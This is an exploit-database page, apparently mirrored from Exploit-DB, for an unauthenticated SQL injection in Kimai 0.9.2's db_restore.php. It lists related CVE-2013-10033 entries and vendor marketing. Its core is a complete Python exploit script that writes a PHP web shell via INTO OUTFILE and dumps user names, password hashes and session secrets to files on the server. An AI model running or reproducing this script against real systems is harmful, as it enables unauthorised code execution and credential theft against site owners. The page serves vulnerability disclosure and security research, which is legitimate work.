Lucene search
+L

Kimai 0.9.2.1306-3 - 'db_restore.php' Unauthenticated SQL Injection (SQLi) / Remote Code Execution (RCE)

🗓️ 21 May 2013 00:00:00Reported by droneType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Kimai 0.9.2.1306-3 SQL Injection vulnerability in db_restore.php allows unauthorized users to execute malicious SQL queries and potentially drop a web shell for remote code execution

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2013-10033
31 Jul 202514:56
–attackerkb
circl
Circl
CVE-2013-10033
29 May 201815:50
–circl
cnnvd
CNNVD
Kimai security vulnerabilities
31 Jul 202500:00
–cnnvd
cve
CVE
CVE-2013-10033
31 Jul 202514:56
–cve
cvelist
Cvelist
CVE-2013-10033 Kimai 0.9.2 db_restore.php SQL Injection
31 Jul 202514:56
–cvelist
exploitdb
Exploit DB
Kimai 0.9.2 - 'db_restore.php' Unauthenticated SQL Injection (SQLi) / Remote Code Execution (RCE) (Metasploit)
3 Dec 201300:00
–exploitdb
euvd
EUVD
EUVD-2013-7255
7 Oct 202500:30
–euvd
metasploit
Metasploit
Kimai v0.9.2 'db_restore.php' SQL Injection
21 May 201300:00
–metasploit
nvd
NVD
CVE-2013-10033
31 Jul 202515:15
–nvd
openvas
OpenVAS
Kimai < 0.9.3 Security Bypass Vulnerability - Active Check
25 Feb 201400:00
–openvas
Rows per page
# Exploit Title: Kimai 0.9.2.1306-3 SQLi
# Date: 05/20/2013
# Exploit Author: drone (@dronesec)
# Vendor Homepage: http://www.kimai.org/
# Software Link: https://downloads.sourceforge.net/project/kimai/0.9.x/kimai.0.9.2.1306-3.zip
# Version: 0.9.2.1306-3
# Fixed in: source repositories (https://github.com/kimai/kimai)
# Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled)

"""
    This doesn't even require authentication to the
    web app, as the file is accessible to any user.

    Modify paths accordingly if running against Windows

    @dronesec
"""
from argparse import ArgumentParser
import string
import random
import urllib2
import sys
import re

def webshell(options, id):
    """ dat webshell
    """
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
    sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'
    '%20SELECT%20\'<?php%20system($_GET["rr"]);?>\'%20FROM%20kimai_usr'
    '%20INTO%20OUTFILE%20\'{2}/{3}.php\';--%20&submit=recover')

    urllib2.urlopen(sqli.format(options.ip, id, options.path, shell))
    print '[!] Shell dropped.  Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell)

def fetch_id(options):
    id = None
    try:
        page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read()
        id = re.findall('name="dates\[\]" value=\"(.*?)\">', page)[0]
    except: pass
    return id

def run(options):
    # poll URL for valid backup id
    id = None
    while id is None:
        id = fetch_id(options)
        if id is None:
            print '[-] No backups found, creating one...'
            urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip)

    print '[!] Using backup id', id

    if options.shell:
        return webshell(options, id)

    print '[!] Running queries...'

    # execute sqli
    sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'
    '%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20\'{2}/{3}\';--%20&submit=recover')

    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name'))

    # execute sqli; hashes
    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw'))

    # get sessions
    urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure'))

    print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\
                    .format(options.path)

def parse():
    parser = ArgumentParser()
    parser.add_argument('-i', help='server address', action='store', dest='ip')
    parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)',
                        action='store',default='/var/www/kimai', dest='path')
    parser.add_argument('-w', help='web shell', action='store_true', dest='shell')

    options = parser.parse_args()

    if not options.ip:
        parser.print_help()
        sys.exit(1)

    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":
    run(parse())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
EPSS0.1121
SSVC
25